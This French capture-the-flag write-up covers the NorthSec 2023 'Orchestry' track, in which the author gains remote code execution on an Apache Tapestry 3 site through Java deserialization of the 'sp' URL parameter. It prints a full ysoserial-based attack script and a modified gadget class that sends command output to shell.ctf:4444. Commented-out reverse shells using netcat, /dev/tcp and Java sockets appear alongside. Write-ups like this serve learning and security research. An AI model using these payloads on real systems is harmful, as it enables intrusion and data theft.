Ce billet est le compte rendu de la piste Orchestry à NorthSec 2023.
Introduction
Je n’ai plus le site du forum qui donnait le point d’entrée de la piste, mais de mémoire il pointait vers une URL HTTPS.
À l’ouverture de l’URL, on tombe sur un site à l’allure très vieillotte. Dès qu’on jouait avec l’URL par défaut (qui fonctionnait), on aboutissait sur une page d’erreur remplie d’information de débogage. Même le simple chargement du fichier main.css que le site tentait d’utiliser comme CSS retournait cette page d’erreur. Un drapeau se trouvait dans le code source de cette page pour nous confirmer que nous étions sur la bonne voie.
L’information cruciale pour moi sur cette page, c’est qu’elle révélait qu’il s’agissait d’un site Tapestry 3. Je ne connaissais pas ce cadriciel, mais je me suis mis à chercher. Apache Tapestry est un cadriciel web Java toujours actif. La version 3 est cependant extrêmement vieille (2006). C’est généralement un indice, alors j’ai cherché des CVE sur Tapestry 3. Le premier résultat de la recherche Google « tapestry 3 CVE » est celui-ci: https://nvd.nist.gov/vuln/detail/CVE-2022-46366. Une CVE ouverte en 2022 pour un cadriciel d’une vingtaine d’années, c’est intéressant.
Sérialisation Java
La CVE mentionne qu’elle est liée à la désérialisation de données non fiables, sans grand détail supplémentaire. Elle précise qu’elle ressemble à la CVE-2020-17531. J’ai donc cherché cette CVE et découvert qu’elle touchait Tapestry 4 et concernait la désérialisation des données du paramètre « sp » de la page. C’était intéressant, puisque « sp » était le seul paramètre présent dans l’URL de la page fonctionnelle. Il semblait contenir l’identifiant de la page à afficher.
À ce moment-là, j’ai téléchargé tout le code source d’Apache Tapestry 3… avec SVN, puisqu’ils n’étaient pas passés à git. J’aurais pu simplement télécharger l’archive des sources depuis leur page de téléchargements, mais j’ai pris le chemin le plus long. J’ai déjà été développeur, alors j’ai ouvert le projet complet dans IntelliJ pour l’indexer et pouvoir y naviguer facilement. La page de débogage du site donnait même les traces d’appels en cas d’erreur, et elle montrait que le paramètre sp était « unsqueezed ». Ça m’a mené à la classe « DataSqueezer », qui utilise un préfixe d’une lettre pour déterminer quel adaptateur servira à décompresser les données.
/**
* Unsqueezes the string. Note that in a special case, where the first
* character of the string is not a recognized prefix, it is assumed
* that the string is simply a string, and return with no
* change.
*
**/
public Object unsqueeze(String string) throws IOException
{
ISqueezeAdaptor adaptor = null;
if (string.equals(NULL_PREFIX))
return null;
int offset = string.charAt(0) - FIRST_ADAPTOR_OFFSET;
if (offset >= 0 && offset < _adaptorByPrefix.length)
adaptor = _adaptorByPrefix[offset];
// If the adaptor is not otherwise recognized, the it is simply
// an encoded String (the StringAdaptor may not have added
// a prefix).
if (adaptor == null)
return string;
// Adaptor should never be null, because we always supply
// an adaptor for String
return adaptor.unsqueeze(this, string);
}
Les adaptateurs:
private void registerDefaultAdaptors()
{
new CharacterAdaptor().register(this);
new StringAdaptor().register(this);
new IntegerAdaptor().register(this);
new DoubleAdaptor().register(this);
new ByteAdaptor().register(this);
new FloatAdaptor().register(this);
new LongAdaptor().register(this);
new ShortAdaptor().register(this);
new BooleanAdaptor().register(this);
new SerializableAdaptor().register(this);
new ComponentAddressAdaptor().register(this);
new EnumAdaptor().register(this);
}
Il y a de plus un SerializableAdaptor, déclenché par le préfixe « O ».
public Object unsqueeze(DataSqueezer squeezer, String string) throws IOException
{
ByteArrayInputStream bis = null;
GZIPInputStream gis = null;
ObjectInputStream ois = null;
byte[] byteData;
// Strip off the first character and decode the rest.
byteData = decode(string.substring(1));
try
{
bis = new ByteArrayInputStream(byteData);
gis = new GZIPInputStream(bis);
ois = new ResolvingObjectInputStream(squeezer.getResolver(), gis);
return ois.readObject();
}
catch (ClassNotFoundException ex)
{
// The message is the name of the class.
throw new IOException(
Tapestry.format("SerializableAdaptor.class-not-found", ex.getMessage()));
}
finally
{
close(ois);
close(gis);
close(bis);
}
}
Pour obtenir une exécution de code à distance à partir d’une désérialisation Java non fiable, on utilise ysoserial, un outil qui génère des charges utiles de diverses façons pour exécuter du code depuis l’objet sérialisé. Dans mon cas, les charges utiles ne fonctionnaient pas directement, alors j’ai décidé d’écrire un script d’attaque. Je l’ai écrit en Java, puisque j’étais développeur Java et qu’ysoserial est écrit en Java, ce qui me permettait de modifier facilement les charges utiles.
L’attaque
La première partie du script était relativement simple:
- Écrire une fonction qui envoie une requête à la bonne page et affiche la réponse
- Préparer les données pour le SerializableAdaptor en compressant les octets de la charge utile en GZIP, puis en les encodant dans un Base64 modifié pour les mettre dans l’URL. Ne pas oublier d’ajouter le préfixe « O »
- Appeler les rouages internes d’ysoserial en boucle pour essayer toutes les charges utiles
Beaucoup de charges utiles ne fonctionnaient pas, faute d’avoir les classes nécessaires dans le classpath. L’une d’elles semblait toutefois mieux fonctionner que les autres: CommonsBeanutils1. La trace d’appels m’indiquait cependant, fort utilement, que je n’avais pas la bonne valeur de « serialVersionUid ». Ce champ sert à Java, lors de la désérialisation, à vérifier que la version de la classe désérialisée est compatible avec celle qui a été sérialisée. Il semble que la version de cette classe dans ysoserial n’était pas compatible avec celle de Tapestry 3. J’ai simplement compilé une version de la classe BeanComparator, celle qui posait problème, avec le bon serialVersionUid, puisque la trace d’appels indiquait le numéro attendu.
À ce moment-là, j’avais une preuve de concept fonctionnelle, mais je l’ignorais. J’ai malheureusement passé beaucoup de temps à essayer de faire afficher l’information dans la page web pour la lire directement. J’ai alors compris que l’application en cours d’exécution était le « Workbench », une sorte d’application de démonstration pour Tapestry. Je l’ai téléchargée, beaucoup retouchée jusqu’à ce qu’elle compile et j’ai réussi à l’exécuter, ce qui a pris un bon moment. Je pouvais ensuite déboguer dans le code pour voir ce que faisaient mes charges utiles, et j’ai constaté qu’il serait difficile d’obtenir la sortie dans la page web affichée. Dans mon environnement local, les charges utiles s’exécutaient toutefois avec succès. J’ai créé une charge utile toute simple faisant un « Thread.sleep(10000) » pour vérifier si mes charges s’exécutaient aussi sur le serveur distant, et ça a fonctionné: la page a mis 10 s avant d’afficher la page d’erreur.
J’ai eu beaucoup de mal à ouvrir un « vrai » shell inversé, alors j’ai créé mon propre « shell inversé du pauvre ».
- J’ai créé dans mon script d’attaque une boucle qui accepte des commandes en ligne de commande à répétition et les envoie à la machine attaquée
- J’ai dû « bricoler » la classe Gadgets d’ysoserial pour exécuter la commande, capturer la sortie dans un tampon, puis envoyer ce tampon par une simple connexion TCP vers notre machine shell
À partir de là, je pouvais lancer des commandes et obtenir leur sortie. Au début, je redémarrais netcat après chaque commande sur notre machine shell, jusqu’à ce que mes coéquipiers me disent qu’il suffisait d’ajouter « -k » pour que netcat continue d’accepter les connexions. Avec ça, nous avons obtenu le deuxième drapeau, dans un fichier du répertoire personnel de l’utilisateur exécutant Tapestry.
Bonus
La piste n’était pas terminée: il y avait un troisième drapeau. Pour l’obtenir, il fallait naviguer beaucoup plus dans la machine. J’ai donc encore retouché les gadgets jusqu’à obtenir un « vrai » shell inversé. Tristan a découvert qu’un processus dans /opt/connect nous était accessible.
Le code
C’était un CTF, alors le code est très brouillon et j’ai pris des raccourcis. J’ai aussi laissé beaucoup de code commenté qui représente des tentatives ratées ou intermédiaires en cours de route.
Voici mon script d’attaque:
import org.apache.wicket.util.encoding.UrlEncoder;
import ysoserial.GeneratePayload;
import ysoserial.Serializer;
import ysoserial.Strings;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.URLDNS;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.PrintStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.Base64;
import java.util.Collections;
import java.util.Iterator;
import java.util.List;
import java.util.Scanner;
import java.util.zip.GZIPOutputStream;
public class Main {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
String input = "";
while (true) {
System.out.print("Enter a line of input (or 'quit' to exit):\n>");
String line = scanner.nextLine();
if (line.equalsIgnoreCase("quit")) {
break;
}
System.out.println("You entered:\n" + input);
try
{
tryCommand(line);
} catch(Exception e) {
e.printStackTrace();
}
}
scanner.close();
}
public static void tryCommand(String cmd) throws Exception
{
//String command = "http://shell.ctf:4444/";
// String command = “nc -6 -e /bin/bash shell.ctf 4444”; String command = cmd;
List\> payloadClasses = new ArrayList(ObjectPayload.Utils.getPayloadClasses());
payloadClasses = Collections.singletonList(ysoserial.payloads.CommonsBeanutils1.class);
//Collections.sort(payloadClasses, new Strings.ToStringComparator());
Iterator var2 = payloadClasses.iterator();
while(var2.hasNext())
{
Class payloadClass = (Class) var2.next();
ObjectPayload payload = (ObjectPayload)payloadClass.newInstance();
System.out.println("Payload: " + payloadClass.getName() + "\n\n");
try
{
Object object = payload.getObject(command);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
GZIPOutputStream gzos = new GZIPOutputStream(baos);
Serializer.serialize(object, gzos);
gzos.close();
ByteArrayOutputStream baos2 = new ByteArrayOutputStream();
Serializer.serialize(object, baos2);
//ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos2.toByteArray()));
//Object o = ois.readObject();
//System.out.println(o);
String base64 = Base64.getUrlEncoder().encodeToString(baos.toByteArray()).replaceAll("=", ".");
//String encoded = URLEncoder.encode(base64);
//System.out.println(encoded);
String out = tryPayload(base64);
System.out.println(base64);
System.out.println(out);
} catch(Throwable e) {
e.printStackTrace(System.out);
System.out.println("\n--------------------------\n\n");
}
}
}
private static String tryPayload(String payload)
{
try {
URL url = new URL("http://orchestry.ctf:8080/app?service=direct/1/Home/$Border.pageLink&sp=O" + payload);
// URL url = new URL(“http://localhost:8080/app?service=direct/1/Home/$Border.pageLink&sp=O” + payload);
// create an HttpURLConnection object to open the connection
HttpURLConnection con = (HttpURLConnection) url.openConnection();
// set request method to GET
con.setRequestMethod("GET");
// read the response from the server
Scanner scanner = new Scanner(con.getInputStream());
StringBuilder response = new StringBuilder();
while (scanner.hasNextLine()) {
response.append(scanner.nextLine());
}
scanner.close();
// print the response from the server
return response.toString();
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
}
Voici la classe Gadgets d’ysoserial, une fois trafiquée:
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) //
package ysoserial.payloads.util;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.stream.Collectors;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
public class Gadgets {
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public Gadgets() {
}// 35
public static T createMemoitizedProxy(Map map, Class iface, Class... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);// 67
}
public static InvocationHandler createMemoizedInvocationHandler(Map map) throws Exception {
return (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);// 72
}
public static T createProxy(InvocationHandler ih, Class iface, Class... ifaces) {
Class[] allIfaces = (Class[])((Class[])Array.newInstance(Class.class, ifaces.length + 1));// 77
allIfaces[0] = iface;// 78
if (ifaces.length > 0) {// 79
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);// 80
}
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));// 82
}
public static Map createMap(String key, Object val) {
Map map = new HashMap();// 87
map.put(key, val);// 88
return map;// 89
}
public static Object createTemplatesImpl(String command) throws Exception {
return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);// 94 95 97 98 99 102
}
public static T createTemplatesImpl(String command, Class tplClass, Class abstTranslet, Class transFactory) throws Exception {
T templates = tplClass.newInstance();// 108
ClassPool pool = ClassPool.getDefault();// 111
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));// 112
pool.insertClassPath(new ClassClassPath(abstTranslet));// 113
CtClass clazz = pool.get(StubTransletPayload.class.getName());// 114
String[] commands = new String[] {"bash", "-c", command};
//String[] commands = command.split(" ");
String actual = Arrays.stream(commands).map(s -> s.replace("\", "\\").replace("\"", "\\"")).collect(Collectors.joining("\",\"", "new String[]{\"", "\"}"));
String cmd = "Process p = java.lang.Runtime.getRuntime().exec(" + actual + ");p.waitFor();byte[] output = new byte[100000];int r = p.getInputStream().read(output);data = (new String(output, 0, r))+\"\n\n\";";// 117 118
// String cmd = "Runtime r = Runtime.getRuntime();\n" + "Process p = r.exec(\"/bin/bash -c 'exec 5<>/dev/tcp/shell.ctf/4444;cat <&5 | while read line; do $line 2>&5 >&5; done'\");\n" + "p.waitFor();";
// String cmd = "String host=\"shell.ctf\";\n" + "int port=4444;\n" + "String[] cmd= new String[]{\"cmd.exe\"};\n"
// + "Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();";
cmd = sendString(cmd);
// String cmd = "throw new java.lang.reflect.InvocationTargetException(new java.lang.OutOfMemoryError(\"test\"),\"Patate\");";// 117 118
// String cmd = "java.lang.Thread.sleep(10000L);";// 117 118
// String cmd = sendString(command);
// String cmd = "java.net.URL url = new java.net.URL(\"http://shell.ctf:4444\");java.net.HttpURLConnection con = (java.net.HttpURLConnection) url.openConnection();";// 117 118
System.out.println(cmd);
clazz.makeClassInitializer().insertAfter(cmd);// 120
clazz.setName("ysoserial.Pwner" + System.nanoTime());// 122
CtClass superC = pool.get(abstTranslet.getName());// 123
clazz.setSuperclass(superC);// 124
byte[] classBytes = clazz.toBytecode();// 126
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});// 129 130
Reflections.setFieldValue(templates, "_name", "Pwnr");// 134
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());// 135
return templates;// 136
}
private static String sendString(String command) {
String cmd = "String data = \"before\";try{" + command + "}catch(java.lang.Throwable e) {java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();java.io.PrintStream ps = new java.io.PrintStream(baos);e.printStackTrace(ps);ps.close();data=baos.toString();}"+
";java.net.Socket socket = new java.net.Socket(\"shell.ctf\", 4444);java.io.OutputStream outputStream = socket.getOutputStream();outputStream.write(data.getBytes());outputStream.close();socket.close();";// 117 118
return cmd;
}
public static HashMap makeMap(Object v1, Object v2) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
HashMap s = new HashMap();// 142
Reflections.setFieldValue(s, "size", 2);// 143
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");// 146
} catch (ClassNotFoundException var6) {// 148
nodeC = Class.forName("java.util.HashMap$Entry");// 149
}
Constructor nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);// 151
Reflections.setAccessible(nodeCons);// 152
Object tbl = Array.newInstance(nodeC, 2);// 154
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));// 155
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));// 156
Reflections.setFieldValue(s, "table", tbl);// 157
return s;// 158
}
static {
System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true");// 39
System.setProperty("java.rmi.server.useCodebaseOnly", "false");// 42
}// 43
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
public Foo() {
}// 60
}
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public StubTransletPayload() {
}// 47
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}// 52
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}// 56
}
}
Rappelez-vous que j’ai aussi dû corriger le serialVersionUid dans BeanComparator, mais c’est un changement trivial.
